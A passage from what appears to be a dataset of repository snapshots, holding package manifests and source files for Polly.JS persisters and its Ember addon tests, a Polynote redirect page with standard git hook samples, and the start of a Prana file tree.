\"^1.0.4\",\n \"@glimmer/tracking\": \"^1.0.4\",\n \"broccoli-asset-rev\": \"^3.0.0\",\n \"ember-cli\": \"~3.28.4\",\n \"ember-cli-dependency-checker\": \"^3.2.0\",\n \"ember-cli-htmlbars\": \"^5.7.1\",\n \"ember-cli-inject-live-reload\": \"^2.1.0\",\n \"ember-cli-sri\": \"^2.1.1\",\n \"ember-cli-terser\": \"^4.0.2\",\n \"ember-disable-prototype-extensions\": \"^1.1.3\",\n \"ember-export-application-global\": \"^2.0.1\",\n \"ember-load-initializers\": \"^2.1.2\",\n \"ember-maybe-import-regenerator\": \"^0.1.6\",\n \"ember-page-title\": \"^6.2.2\",\n \"ember-qunit\": \"^5.1.4\",\n \"ember-resolver\": \"^8.0.2\",\n \"ember-source\": \"~3.28.0\",\n \"ember-source-channel-url\": \"^3.0.0\",\n \"ember-template-lint\": \"^3.6.0\",\n \"ember-try\": \"^1.4.0\",\n \"eslint\": \"^8.3.0\",\n \"eslint-config-prettier\": \"^8.3.0\",\n \"eslint-plugin-ember\": \"^10.5.8\",\n \"eslint-plugin-node\": \"^11.1.0\",\n \"eslint-plugin-prettier\": \"^4.0.0\",\n \"eslint-plugin-qunit\": \"^7.1.0\",\n \"loader.js\": \"^4.7.0\",\n \"npm-run-all\": \"^4.1.5\",\n \"prettier\": \"^2.5.0\",\n \"qunit\": \"^2.16.0\",\n \"qunit-dom\": \"^1.6.0\",\n \"rimraf\": \"^2.6.2\",\n \"webpack\": \"^5.64.4\"\n },\n \"engines\": {\n \"node\": \"12.* || 14.* || >= 16\"\n },\n \"ember\": {\n \"edition\": \"octane\"\n },\n \"ember-addon\": {\n \"configPath\": \"tests/dummy/config\",\n \"before\": [\n \"proxy-server-middleware\"\n ],\n \"after\": [\n \"ember-auto-import\"\n ]\n }\n}\n", "packages\\@pollyjs\\ember\\blueprints\\@pollyjs\\ember\\index.js": "'use strict';\n\nmodule.exports = {\n description: 'Setup @pollyjs/ember',\n normalizeEntityName() {},\n afterInstall() {\n return this.addPackagesToProject([\n { name: '@pollyjs/adapter-fetch' },\n { name: '@pollyjs/adapter-xhr' },\n { name: '@pollyjs/core' },\n { name: '@pollyjs/node-server' },\n { name: '@pollyjs/persister-local-storage' },\n { name: '@pollyjs/persister-rest' }\n ]);\n }\n};\n", "packages\\@pollyjs\\ember\\tests\\index.html": "<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <title>Dummy Tests</title>\n <meta name=\"description\" content=\"\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\n {{content-for \"head\"}}\n {{content-for \"test-head\"}}\n\n <link rel=\"stylesheet\" href=\"{{rootURL}}assets/vendor.css\">\n <link rel=\"stylesheet\" href=\"{{rootURL}}assets/dummy.css\">\n <link rel=\"stylesheet\" href=\"{{rootURL}}assets/test-support.css\">\n\n {{content-for \"head-footer\"}}\n {{content-for \"test-head-footer\"}}\n </head>\n <body>\n {{content-for \"body\"}}\n {{content-for \"test-body\"}}\n\n <div id=\"qunit\"></div>\n <div id=\"qunit-fixture\">\n <div id=\"ember-testing-container\">\n <div id=\"ember-testing\"></div>\n </div>\n </div>\n\n <script src=\"/testem.js\" integrity=\"\" data-embroider-ignore></script>\n <script src=\"{{rootURL}}assets/vendor.js\"></script>\n <script src=\"{{rootURL}}assets/test-support.js\"></script>\n <script src=\"{{rootURL}}assets/dummy.js\"></script>\n <script src=\"{{rootURL}}assets/tests.js\"></script>\n\n {{content-for \"body-footer\"}}\n {{content-for \"test-body-footer\"}}\n </body>\n</html>\n", "packages\\@pollyjs\\ember\\tests\\dummy\\app\\app.js": "import Application from '@ember/application';\nimport Resolver from 'ember-resolver';\nimport loadInitializers from 'ember-load-initializers';\nimport config from 'dummy/config/environment';\n\nexport default class App extends Application {\n modulePrefix = config.modulePrefix;\n podModulePrefix = config.podModulePrefix;\n Resolver = Resolver;\n}\n\nloadInitializers(App, config.modulePrefix);\n", "packages\\@pollyjs\\ember\\tests\\dummy\\app\\index.html": "<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <title>Dummy</title>\n <meta name=\"description\" content=\"\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\n {{content-for \"head\"}}\n\n <link integrity=\"\" rel=\"stylesheet\" href=\"{{rootURL}}assets/vendor.css\">\n <link integrity=\"\" rel=\"stylesheet\" href=\"{{rootURL}}assets/dummy.css\">\n\n {{content-for \"head-footer\"}}\n </head>\n <body>\n {{content-for \"body\"}}\n\n <script src=\"{{rootURL}}assets/vendor.js\"></script>\n <script src=\"{{rootURL}}assets/dummy.js\"></script>\n\n {{content-for \"body-footer\"}}\n </body>\n</html>\n", "packages\\@pollyjs\\ember\\tests\\dummy\\app\\templates\\application.hbs": "{{page-title \"Dummy\"}}\n\n<h2 id=\"title\">Welcome to Ember</h2>\n\n{{outlet}}", "packages\\@pollyjs\\node-server\\package.json": "{\n \"name\": \"@pollyjs/node-server\",\n \"version\": \"6.0.6\",\n \"description\": \"Standalone node server and express integration for @pollyjs\",\n \"main\": \"dist/cjs/pollyjs-node-server.js\",\n \"module\": \"dist/es/pollyjs-node-server.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/node-server\",\n \"license\": \"Apache-2.0\",\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"server\",\n \"record\",\n \"replay\",\n \"express\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"scripts\": {\n \"build\": \"rollup -c\",\n \"watch\": \"yarn build -w\",\n \"watch-all\": \"yarn build\"\n },\n \"dependencies\": {\n \"@pollyjs/utils\": \"^6.0.6\",\n \"body-parser\": \"^1.19.0\",\n \"cors\": \"^2.8.5\",\n \"express\": \"^4.17.1\",\n \"fs-extra\": \"^10.0.0\",\n \"http-graceful-shutdown\": \"^3.1.5\",\n \"morgan\": \"^1.10.0\",\n \"nocache\": \"^3.0.1\"\n },\n \"devDependencies\": {\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\node-server\\src\\index.js": "export { default as API } from './api';\nexport { default as Server } from './server';\nexport { default as Defaults } from './config';\nexport { default as registerExpressAPI } from './express/register-api';\n", "packages\\@pollyjs\\persister\\package.json": "{\n \"name\": \"@pollyjs/persister\",\n \"version\": \"6.0.6\",\n \"description\": \"Extendable base persister class used by @pollyjs\",\n \"main\": \"dist/cjs/pollyjs-persister.js\",\n \"module\": \"dist/es/pollyjs-persister.js\",\n \"browser\": \"dist/umd/pollyjs-persister.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/persister\",\n \"scripts\": {\n \"build\": \"rollup -c ../../../scripts/rollup/default.config.js\",\n \"test:build\": \"rollup -c rollup.config.test.js\",\n \"test:build:watch\": \"rollup -c rollup.config.test.js -w\",\n \"build:watch\": \"yarn build -w\",\n \"watch-all\": \"npm-run-all --parallel build:watch test:build:watch\"\n },\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"persister\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"license\": \"Apache-2.0\",\n \"dependencies\": {\n \"@pollyjs/utils\": \"^6.0.6\",\n \"@types/set-cookie-parser\": \"^2.4.1\",\n \"bowser\": \"^2.4.0\",\n \"fast-json-stable-stringify\": \"^2.1.0\",\n \"lodash-es\": \"^4.17.21\",\n \"set-cookie-parser\": \"^2.4.8\",\n \"utf8-byte-length\": \"^1.0.4\"\n },\n \"devDependencies\": {\n \"har-validator\": \"^5.1.5\",\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\persister\\src\\index.js": "import stringify from 'fast-json-stable-stringify';\nimport { ACTIONS, assert } from '@pollyjs/utils';\n\nimport HAR from './har';\nimport Entry from './har/entry';\n\nconst CREATOR_NAME = 'Polly.JS';\n\nexport default class Persister {\n constructor(polly) {\n this.polly = polly;\n this.pending = new Map();\n this._cache = new Map();\n }\n\n static get type() {\n return 'persister';\n }\n\n /* eslint-disable-next-line getter-return */\n static get id() {\n assert('Must override the static `id` getter.');\n }\n\n get defaultOptions() {\n return {};\n }\n\n get options() {\n return {\n ...(this.defaultOptions || {}),\n ...((this.polly.config.persisterOptions || {})[this.constructor.id] || {})\n };\n }\n\n get hasPending() {\n /*\n Although the pending map is bucketed by recordingId, the bucket will always\n be created with a single item in it so we can assume that if a bucket\n exists, then it has items in it.\n */\n return this.pending.size > 0;\n }\n\n async persist() {\n if (!this.hasPending) {\n return;\n }\n\n const promises = [];\n const creator = {\n name: CREATOR_NAME,\n version: this.polly.constructor.VERSION,\n comment: `${this.constructor.type}:${this.constructor.id}`\n };\n\n for (const [recordingId, { name, requests }] of this.pending) {\n const entries = [];\n const recording = await this.findRecording(recordingId);\n let har;\n\n if (!recording) {\n har = new HAR({ log: { creator, _recordingName: name } });\n } else {\n har = new HAR(recording);\n }\n\n for (const request of requests) {\n const entry = new Entry(request);\n\n this.assert(\n `Cannot persist response for [${entry.request.method}] ${entry.request.url} because the status code was ${entry.response.status} and \\`recordFailedRequests\\` is \\`false\\``,\n entry.response.status < 400 || request.config.recordFailedRequests\n );\n\n /*\n Trigger the `beforePersist` event on each new recorded entry.\n\n NOTE: This must be triggered last as this entry can be used to\n modify the payload (i.e. encrypting the request & response).\n */\n await request._emit('beforePersist', entry);\n entries.push(entry);\n }\n\n har.log.addEntries(entries);\n\n if (!this.polly.config.persisterOptions.disableSortingHarEntries) {\n har.log.sortEntries();\n }\n\n if (!this.polly.config.persisterOptions.keepUnusedRequests) {\n this._removeUnusedEntries(recordingId, har);\n }\n\n promises.push(this.saveRecording(recordingId, har));\n }\n\n await Promise.all(promises);\n this.pending.clear();\n }\n\n recordRequest(pollyRequest) {\n this.assert(\n `You must pass a PollyRequest to 'recordRequest'.`,\n pollyRequest\n );\n this.assert(\n `Cannot save a request with no response.`,\n pollyRequest.didRespond\n );\n\n const { recordingId, recordingName } = pollyRequest;\n\n if (!this.pending.has(recordingId)) {\n this.pending.set(recordingId, { name: recordingName, requests: [] });\n }\n\n this.pending.get(recordingId).requests.push(pollyRequest);\n }\n\n async findRecording(recordingId) {\n const { _cache: cache } = this;\n\n if (!cache.has(recordingId)) {\n const onFindRecording = async () => {\n const recording = await this.onFindRecording(recordingId);\n\n if (recording) {\n this.assert(\n `Recording with id '${recordingId}' is invalid. Please delete the recording so a new one can be created.`,\n recording.log && recording.log.creator.name === CREATOR_NAME\n );\n\n return recording;\n } else {\n cache.delete(recordingId);\n\n return null;\n }\n };\n\n cache.set(recordingId, onFindRecording());\n }\n\n return cache.get(recordingId);\n }\n\n onFindRecording() {\n this.assert('Must implement the `onFindRecording` hook.');\n }\n\n async saveRecording(recordingId, har) {\n await this.onSaveRecording(...arguments);\n this._cache.delete(recordingId);\n this.polly.logger.log.debug('Recording saved.', { recordingId, har });\n }\n\n onSaveRecording() {\n this.assert('Must implement the `onSaveRecording` hook.');\n }\n\n async deleteRecording(recordingId) {\n await this.onDeleteRecording(...arguments);\n this._cache.delete(recordingId);\n }\n\n onDeleteRecording() {\n this.assert('Must implement the `onDeleteRecording` hook.');\n }\n\n async findEntry(pollyRequest) {\n const { id, order, recordingId } = pollyRequest;\n const recording = await this.findRecording(recordingId);\n\n return (\n (recording &&\n recording.log.entries.find(\n (entry) => entry._id === id && entry._order === order\n )) ||\n null\n );\n }\n\n stringify() {\n return stringify(...arguments);\n }\n\n assert(message, ...args) {\n assert(\n `[${this.constructor.type}:${this.constructor.id}] ${message}`,\n ...args\n );\n }\n\n /**\n * Remove all entries from the given HAR that do not match any requests in\n * the current Polly instance.\n *\n * @param {String} recordingId\n * @param {HAR} har\n */\n _removeUnusedEntries(recordingId, har) {\n const requests = this.polly._requests.filter(\n (r) =>\n r.recordingId === recordingId &&\n (r.action === ACTIONS.RECORD || r.action === ACTIONS.REPLAY)\n );\n\n har.log.entries = har.log.entries.filter((entry) =>\n requests.find((r) => entry._id === r.id && entry._order === r.order)\n );\n }\n}\n", "packages\\@pollyjs\\persister\\src\\har\\index.js": "import Log from './log';\n\nexport default class HAR {\n constructor(opts = {}) {\n this.log = new Log(opts.log);\n }\n}\n", "packages\\@pollyjs\\persister-fs\\package.json": "{\n \"name\": \"@pollyjs/persister-fs\",\n \"version\": \"6.0.6\",\n \"description\": \"File system persister for @pollyjs\",\n \"main\": \"dist/cjs/pollyjs-persister-fs.js\",\n \"module\": \"dist/es/pollyjs-persister-fs.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/persister-fs\",\n \"license\": \"Apache-2.0\",\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"record\",\n \"replay\",\n \"fs\",\n \"file\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"scripts\": {\n \"build\": \"rollup -c\",\n \"build:watch\": \"yarn build -w\",\n \"test:build\": \"rollup -c rollup.config.test.js\",\n \"test:build:watch\": \"rollup -c rollup.config.test.js -w\",\n \"watch-all\": \"npm-run-all --parallel build:watch test:build:watch\"\n },\n \"dependencies\": {\n \"@pollyjs/node-server\": \"^6.0.6\",\n \"@pollyjs/persister\": \"^6.0.6\"\n },\n \"devDependencies\": {\n \"fixturify\": \"^2.1.1\",\n \"rimraf\": \"^3.0.2\",\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\persister-fs\\src\\index.js": "import Persister from '@pollyjs/persister';\nimport { API, Defaults } from '@pollyjs/node-server';\n\nconst { parse } = JSON;\n\nexport default class FSPersister extends Persister {\n constructor() {\n super(...arguments);\n this.api = new API(this.options);\n }\n\n static get id() {\n return 'fs';\n }\n\n get defaultOptions() {\n return {\n recordingsDir: Defaults.recordingsDir\n };\n }\n\n onFindRecording(recordingId) {\n return this.api.getRecording(recordingId).body || null;\n }\n\n onSaveRecording(recordingId, data) {\n /*\n Pass the data through the base persister's stringify method so\n the output will be consistent with the rest of the persisters.\n */\n this.api.saveRecording(recordingId, parse(this.stringify(data)));\n }\n\n onDeleteRecording(recordingId) {\n this.api.deleteRecording(recordingId);\n }\n}\n", "packages\\@pollyjs\\persister-in-memory\\package.json": "{\n \"name\": \"@pollyjs/persister-in-memory\",\n \"version\": \"6.0.6\",\n \"private\": true,\n \"description\": \"In memory storage persister for @pollyjs\",\n \"main\": \"dist/cjs/pollyjs-persister-in-memory.js\",\n \"module\": \"dist/es/pollyjs-persister-in-memory.js\",\n \"browser\": \"dist/umd/pollyjs-persister-in-memory.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/persister-in-memory\",\n \"license\": \"Apache-2.0\",\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"record\",\n \"replay\",\n \"persister\"\n ],\n \"publishConfig\": {\n \"access\": \"private\"\n },\n \"scripts\": {\n \"build\": \"rollup -c ../../../scripts/rollup/default.config.js\",\n \"test:build\": \"rollup -c rollup.config.test.js\",\n \"test:build:watch\": \"rollup -c rollup.config.test.js -w\",\n \"build:watch\": \"yarn build -w\",\n \"watch-all\": \"npm-run-all --parallel build:watch test:build:watch\"\n },\n \"dependencies\": {\n \"@pollyjs/persister\": \"^6.0.6\"\n },\n \"devDependencies\": {\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\persister-in-memory\\src\\index.js": "import Persister from '@pollyjs/persister';\n\nconst store = new Map();\n\nexport default class InMemoryPersister extends Persister {\n static get id() {\n return 'in-memory-persister';\n }\n\n onFindRecording(recordingId) {\n return store.get(recordingId) || null;\n }\n\n onSaveRecording(recordingId, data) {\n store.set(recordingId, data);\n }\n\n onDeleteRecording(recordingId) {\n store.delete(recordingId);\n }\n}\n", "packages\\@pollyjs\\persister-local-storage\\package.json": "{\n \"name\": \"@pollyjs/persister-local-storage\",\n \"version\": \"6.0.6\",\n \"description\": \"Local storage persister for @pollyjs\",\n \"main\": \"dist/cjs/pollyjs-persister-local-storage.js\",\n \"module\": \"dist/es/pollyjs-persister-local-storage.js\",\n \"browser\": \"dist/umd/pollyjs-persister-local-storage.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/persister-local-storage\",\n \"license\": \"Apache-2.0\",\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"record\",\n \"replay\",\n \"local-storage\",\n \"persister\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"scripts\": {\n \"build\": \"rollup -c ../../../scripts/rollup/default.config.js\",\n \"build:watch\": \"yarn build -w\",\n \"test:build\": \"rollup -c rollup.config.test.js\",\n \"test:build:watch\": \"rollup -c rollup.config.test.js -w\",\n \"watch-all\": \"npm-run-all --parallel build:watch test:build:watch\"\n },\n \"dependencies\": {\n \"@pollyjs/persister\": \"^6.0.6\"\n },\n \"devDependencies\": {\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\persister-local-storage\\src\\index.js": "import Persister from '@pollyjs/persister';\n\nconst { parse } = JSON;\n\nexport default class LocalStoragePersister extends Persister {\n static get id() {\n return 'local-storage';\n }\n\n get defaultOptions() {\n return {\n key: 'pollyjs',\n context: global\n };\n }\n\n get localStorage() {\n const { context } = this.options;\n\n this.assert(\n `Could not find \"localStorage\" on the given context \"${context}\".`,\n context && context.localStorage\n );\n\n return context.localStorage;\n }\n\n get db() {\n const items = this.localStorage.getItem(this.options.key);\n\n return items ? parse(items) : {};\n }\n\n set db(db) {\n this.localStorage.setItem(this.options.key, this.stringify(db));\n }\n\n onFindRecording(recordingId) {\n return this.db[recordingId] || null;\n }\n\n onSaveRecording(recordingId, data) {\n const { db } = this;\n\n db[recordingId] = data;\n this.db = db;\n }\n\n onDeleteRecording(recordingId) {\n const { db } = this;\n\n delete db[recordingId];\n this.db = db;\n }\n}\n", "packages\\@pollyjs\\persister-rest\\package.json": "{\n \"name\": \"@pollyjs/persister-rest\",\n \"version\": \"6.0.6\",\n \"description\": \"REST persister for @pollyjs\",\n \"main\": \"dist/cjs/pollyjs-persister-rest.js\",\n \"module\": \"dist/es/pollyjs-persister-rest.js\",\n \"browser\": \"dist/umd/pollyjs-persister-rest.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/persister-rest\",\n \"license\": \"Apache-2.0\",\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"record\",\n \"replay\",\n \"rest\",\n \"persister\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"scripts\": {\n \"build\": \"rollup -c ../../../scripts/rollup/default.config.js\",\n \"test:build\": \"rollup -c rollup.config.test.js\",\n \"test:build:watch\": \"rollup -c rollup.config.test.js -w\",\n \"build:watch\": \"yarn build -w\",\n \"watch-all\": \"npm-run-all --parallel build:watch test:build:watch\"\n },\n \"dependencies\": {\n \"@pollyjs/persister\": \"^6.0.6\",\n \"@pollyjs/utils\": \"^6.0.6\"\n },\n \"devDependencies\": {\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\persister-rest\\src\\index.js": "import Persister from '@pollyjs/persister';\nimport { buildUrl } from '@pollyjs/utils';\n\nimport ajax from './ajax';\n\nexport default class RestPersister extends Persister {\n static get id() {\n return 'rest';\n }\n\n get defaultOptions() {\n return {\n host: 'http://localhost:3000',\n apiNamespace: '/polly'\n };\n }\n\n ajax(url, ...args) {\n const { host, apiNamespace } = this.options;\n\n return ajax(buildUrl(host, apiNamespace, url), ...args);\n }\n\n async onFindRecording(recordingId) {\n const response = await this.ajax(`/${encodeURIComponent(recordingId)}`, {\n Accept: 'application/json; charset=utf-8'\n });\n\n return this._normalize(response);\n }\n\n async onSaveRecording(recordingId, data) {\n await this.ajax(`/${encodeURIComponent(recordingId)}`, {\n method: 'POST',\n body: this.stringify(data),\n headers: {\n 'Content-Type': 'application/json; charset=utf-8',\n Accept: 'application/json; charset=utf-8'\n }\n });\n }\n\n async onDeleteRecording(recordingId) {\n await this.ajax(`/${encodeURIComponent(recordingId)}`, {\n method: 'DELETE'\n });\n }\n\n _normalize({ xhr, body }) {\n /**\n * 204 - No Content. Polly uses this status code in place of 404\n * when interacting with our Rest server to prevent throwing\n * request errors in consumer's stdout (console.log)\n */\n if (xhr.status === 204) {\n /* return null when a record was not found */\n return null;\n }\n\n return body;\n }\n}\n", "packages\\@pollyjs\\utils\\package.json": "{\n \"name\": \"@pollyjs/utils\",\n \"version\": \"6.0.6\",\n \"description\": \"Shared utilities and constants between @pollyjs packages\",\n \"main\": \"dist/cjs/pollyjs-utils.js\",\n \"module\": \"dist/es/pollyjs-utils.js\",\n \"browser\": \"dist/umd/pollyjs-utils.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/utils\",\n \"scripts\": {\n \"build\": \"rollup -c ../../../scripts/rollup/default.config.js\",\n \"test:build\": \"rollup -c rollup.config.test.js\",\n \"test:build:watch\": \"rollup -c rollup.config.test.js -w\",\n \"build:watch\": \"yarn build -w\",\n \"watch-all\": \"npm-run-all --parallel build:watch test:build:watch\"\n },\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"utils\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"license\": \"Apache-2.0\",\n \"dependencies\": {\n \"qs\": \"^6.10.1\",\n \"url-parse\": \"^1.5.3\"\n },\n \"devDependencies\": {\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\utils\\src\\index.js": "export { default as MODES } from './constants/modes';\nexport { default as ACTIONS } from './constants/actions';\nexport { default as HTTP_METHODS } from './constants/http-methods';\nexport { default as HTTP_STATUS_CODES } from './constants/http-status-codes';\nexport { default as EXPIRY_STRATEGIES } from './constants/expiry-strategies';\n\nexport { default as assert } from './utils/assert';\nexport { default as timeout } from './utils/timeout';\nexport { default as timestamp } from './utils/timestamp';\nexport { default as buildUrl } from './utils/build-url';\n\nexport { default as PollyError } from './utils/polly-error';\nexport { default as Serializers } from './utils/serializers';\n\nexport { default as URL } from './utils/url';\n\nexport { default as isBufferUtf8Representable } from './utils/is-buffer-utf8-representable';\nexport { default as cloneArrayBuffer } from './utils/clone-arraybuffer';\n", "packages\\@pollyjs\\utils\\src\\utils\\serializers\\index.js": "import { serialize as blob } from './blob';\nimport { serialize as formData } from './form-data';\nimport { serialize as buffer } from './buffer';\n\nexport default { blob, formData, buffer };\n", "tests\\index.mustache": "<html>\n <head>\n <meta charset=\"utf-8\">\n <title>Polly.JS Tests</title>\n <link rel=\"icon\" href=\"../docs/assets/images/favicon.ico\" type=\"image/x-icon\">\n <link href=\"../node_modules/mocha/mocha.css\" rel=\"stylesheet\"/>\n {{#css_files}}\n <link rel=\"stylesheet\" href=\"{{src}}\">\n {{/css_files}}\n </head>\n <body>\n <div id=\"mocha\"></div>\n\n <script src=\"../node_modules/chai/chai.js\"></script>\n <script src=\"../node_modules/mocha/mocha.js\"></script>\n <script src=\"/testem.js\"></script>\n\n <script>\n window.expect = window.chai.expect;\n mocha.setup({ ui: 'bdd', noHighlighting: true });\n </script>\n\n\n {{#serve_files}}\n <script src=\"../{{src}}\"></script>\n {{/serve_files}}\n\n <script>\n mocha.checkLeaks();\n mocha.globals([\n /**\n * The following globals are inserted by Internet Explorer's developer tools.\n * IE injects these into the running context for debugging purposes.\n * This confuses mocha as it thinks it's observed a memory leak between runs.\n */\n '$0', '$1', '$2', '$3', '$4', '$_', '__BROWSERTOOLS_DOMEXPLORER_ADDED'\n ]);\n mocha.run();\n </script>\n </body>\n</html>\n"} | null |
polynote | {"type": "directory", "name": "polynote", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "_config.yml"}]} | # Polynote
Polynote is developed [here](https://github.com/polynote/polynote).
| {"index.html": "<meta http-equiv=\"Refresh\" content=\"0; url=https://polynote.org\">\n<p><a href=\"https://polynote.org/\">Redirect</a></p>\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
Prana | {"type": "directory", "name": "Prana", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "codequality", "children": [{"type": "file", "name": "checkstyle.xml"}]}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "directory", "name": "images", "children": []}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "sample_config.properties"}, {"type": "file", "name": "settings.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "prana", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "PranaConfig.java"}]}, {"type": "directory", "name": "http", "children": [{"type": "directory", "name": "api", "children": [{"type": "file", "name": "AbstractRequestHandler.java"}, {"type": "file", "name": "DynamicPropertiesHandler.java"}, {"type": "file", "name": "HandlersModule.java"}, {"type": "file", "name": "HealthCheckHandler.java"}, {"type": "file", "name": "HostsHandler.java"}, {"type": "file", "name": "NIWSCommand.java"}, {"type": "file", "name": "PingHandler.java"}, {"type": "file", "name": "ProxyHandler.java"}, {"type": "file", "name": "SimpleRouter.java"}, {"type": "file", "name": "StatusHandler.java"}, {"type": "file", "name": "UnicastDisposableCachingSubject.java"}, {"type": "file", "name": "Utils.java"}]}, {"type": "file", "name": "Context.java"}]}, {"type": "directory", "name": "internal", "children": [{"type": "file", "name": "DefaultContext.java"}]}, {"type": "file", "name": "Main.java"}, {"type": "file", "name": "MainModule.java"}, {"type": "directory", "name": "service", "children": [{"type": "file", "name": "EurekaHostService.java"}, {"type": "file", "name": "HostService.java"}, {"type": "file", "name": "ServiceModule.java"}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "config.properties"}, {"type": "file", "name": "log4j.properties"}, {"type": "file", "name": "prana.properties"}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "prana", "children": [{"type": "directory", "name": "http", "children": [{"type": "directory", "name": "api", "children": [{"type": "file", "name": "AbstractIntegrationTest.java"}, {"type": "file", "name": "DynamicPropertiesHandlerTest.java"}, {"type": "file", "name": "HealthCheckHandlerTest.java"}, {"type": "file", "name": "HostsHandlerTest.java"}, 